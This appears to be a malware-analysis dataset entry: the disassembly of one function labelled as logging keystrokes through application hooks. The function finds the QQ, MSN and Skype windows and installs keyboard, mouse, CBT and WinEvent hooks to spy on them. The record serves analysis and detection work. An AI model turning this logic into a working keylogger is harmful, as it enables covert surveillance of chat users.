Function at 0x10001ac0
Capabilities:
Log keystrokes via application hook

Disassembly:
sub esp, 0x68
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
mov dword [esp + 0x10], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x10011918]
mov dword [esp + 0x14], ebx
cmp eax, ebx
je 0x10001afe
cmp dword [0x10011920], ebx
jne 0x10001c2c
cmp dword [0x10011924], ebx
jne 0x10001c2c
mov eax, dword [0x1006614c]
cmp eax, 1
jne 0x10001b1f
lea edx, [esp + 0x18]
mov edi, str.TXGuiFoundation
jmp 0x10001b43
cmp eax, 0x10
jne 0x10001b2f
lea edx, [esp + 0x18]
mov edi, str.MSBLWindowClass
jmp 0x10001b43
cmp eax, 0x100
jne 0x10001c15
lea edx, [esp + 0x18]
mov edi, str.tSkMainForm.UnicodeClass
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.USER32.dll_FindWindowExA]
mov eax, ecx
mov esi, edi
mov edi, edx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
push ebx
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x10001bbb
cmp dword [0x1006614c], 0x100
jne 0x10001bfe
mov edi, str.tSkMainForm
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call ebp
mov esi, eax
test esi, esi
je 0x10001bfe
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea edx, [esp + 0x14]
push edx
push esi
call edi
mov ecx, dword [0x10066150]
mov ebx, eax
mov eax, dword [esp + 0x14]
cmp eax, ecx
je 0x10001bed
lea ecx, [esp + 0x18]
push 0
push ecx
push esi
push 0
call ebp
mov esi, eax
test esi, esi
jne 0x10001bc1
jmp 0x10001bfa
push 0x1000f3f0
call fcn.10003300
add esp, 4
test ebx, ebx
jne 0x10001c2c
push 0x1000f3e0
call fcn.10003300
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
push 0x1000f3cc
call fcn.10003300
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
mov eax, dword [0x1006614c]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 1
jne 0x10001d4f
mov eax, dword [0x10011918]
mov ebp, dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
jne 0x10001cb7
mov edx, dword [0x10011914]
push ebx
push edx
push 0x10001eb0
push 7
call ebp
test eax, eax
mov dword [0x10011918], eax
je 0x10001c78
push str.Setup_Mouse_Hook_Success_
call fcn.10003300
add esp, 4
jmp 0x10001cb7
call esi
mov edx, eax
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
push edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3c]
push str.Setup_Mouse_Hook_Failed_____d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x44]
push ecx
call fcn.10003300
add esp, 0x10
mov dword [esp + 0x10], 0
mov eax, dword [0x1001191c]
test eax, eax
jne 0x10001d01
mov edx, dword [0x10011914]
push ebx
push edx
push 0x10001f60
push 2
call ebp
test eax, eax
mov dword [0x1001191c], eax
je 0x10001ce9
push str.Setup_Keyboard_Hook_Success_
call fcn.10003300
add esp, 4
jmp 0x10001d01
call esi
push eax
push str.Setup_Keyboard_Hook_Failed_____d
call fcn.10003300
add esp, 8
mov dword [esp + 0x10], 0
mov eax, dword [0x10011920]
test eax, eax
jne 0x10001d4f
call fcn.10003640
mov eax, dword [0x10011914]
push ebx
push eax
push 0x10006470
push 5
call ebp
test eax, eax
mov dword [0x10011920], eax
je 0x10001d37
push str.Setup_CBT_Hook_Success_
call fcn.10003300
add esp, 4
jmp 0x10001d4f
call esi
push eax
push str.Setup_CBT_Hook_Failed_____d
call fcn.10003300
add esp, 8
mov dword [esp + 0x10], 0
mov eax, dword [0x1006614c]
cmp eax, 0x10
je 0x10001d6e
cmp eax, 0x100
je 0x10001d6e
cmp eax, 1
jne 0x10001dd2
cmp dword [0x10066174], 1
jne 0x10001dd2
mov eax, dword [0x10011924]
test eax, eax
jne 0x10001dd2
mov ecx, dword [esp + 0x14]
mov edx, dword [0x10011914]
push 4
push ebx
push ecx
push 0x10002000
push edx
push 0x800e
push 0x8000
call dword [sym.imp.USER32.dll_SetWinEventHook]
test eax, eax
mov dword [0x10011924], eax
je 0x10001dba
push str.Setup_Event_Hook_Success_
call fcn.10003300
mov eax, dword [0x10011924]
add esp, 4
test eax, eax
jne 0x10001dd2
call esi
push eax
push str.Setup_Event_Hook_Failed_____d
call fcn.10003300
add esp, 8
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret